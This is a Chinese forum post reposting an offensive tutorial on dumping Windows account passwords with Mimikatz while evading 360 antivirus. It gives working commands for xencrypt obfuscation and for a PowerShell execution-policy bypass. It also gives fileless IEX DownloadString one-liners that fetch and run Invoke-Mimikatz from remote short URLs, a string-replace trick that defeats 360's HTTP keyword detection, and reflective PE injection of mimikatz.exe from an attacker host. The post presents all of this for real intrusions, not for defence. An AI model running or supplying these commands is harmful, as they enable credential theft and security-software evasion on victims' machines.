本帖最后由 gclome 于 2020-4-24 20:19 编辑
原文链接:实战中如何绕过杀软用mimikatz获取账号密码
目标机system权限,安装了360,准备获取密码。 mimikatz的exe,powershell版(可上github下载)网上版本已经被360已及各种杀软杀的死死的,扔上去就挂 所以采用混淆加密方式来绕过杀软,混淆脚本地址如下 https://github.com/the-xentropy/xencrypt
使用AES加密和Gzip / DEFLATE压缩,每次调用都会生成一个唯一但是功能相同的脚本。它通过压缩和加密输入脚本并将此数据作为有效载荷存储在新脚本中来实现免杀,输出脚本将在运行有效载荷之前对其进行解密和解压缩。 使用方法 - Import-Module ./xencrypt.ps1
- Invoke-Xencrypt -InFile invoke-mimikatz.ps1-OutFile xenmimi.ps1
复制代码
还可以通过-Iterations标志支持递归分层。 - Invoke-Xencrypt -InFile invoke-mimikatz.ps1-OutFile xenmimi.ps1 -Iterations 100
复制代码可过360等大部分杀软,但卡巴斯基被杀,已经可以达成目标了。
在win10运行,成功获取账号密码:
扔到Win7上试试,出现报错
因为win7powershell版本为2.0
混淆脚本采用AES加密和Gzip / DEFLATE压缩,含有powershell2.0版本不支持调用的方法。难搞哦。要想办法过w7+360,可采用powershell方式绕过 可在cmd下执行 - powershell -exec bypass "import-module.\Invoke-Mimikatz.ps1;Invoke-Mimikatz
复制代码
因目标安装360,未混淆文件传上去就会被杀并弹窗,所以采用远程加载方法绕过,远程加载方法会在内存中运行mimikatz,无文件落地由此来绕过杀软
- powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz-DumpCreds"
复制代码
被360判断为PowerShell下载攻击并弹窗,360针对powershell的http协议下载查杀,但是检查内容只是命令中出现http,所以只需要一步简单的替换即可绕过(‘htxtp://is.gd/oeoFuI’ -replace ‘x’,’’) (这里有个坑。360这个zz,在判断PowerShell下载攻击后,接下来一段时间会直接对powershell拒绝访问,实战直接执行下面的命令) - powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://is.gd/oeoFuI' -replace 'x',''));
- Invoke-Mimikatz -DumpCreds"
复制代码
即可绕过360获取目标账号密码。 既然可以远程加载powershell绕过杀软,那远程加载exe也同样可以,powershell加载exe进内存运行需要PowerSploit中的Invoke-ReflectivePEInjection脚本,地址如下 https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
我们远程加载Invoke-ReflectivePEInjection再远程加载调用mimikatz.exe进内存以无文件落地方式绕过杀软读取账号密码(绕过PowerShell下载攻击弹窗方式同上),命令如下 - powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace'x',''));Invoke-ReflectivePEInjection -PEUrlhttp://x.x.x.x/mimikatz.exe-ExeArgs"sekurlsa::logonpasswords" -ForceASLR
复制代码
-PEUrl :包含要加载和执行的DLL / EXE的URL -ExeArgs :所要执行命令 即可越过360成功获取账号密码。
|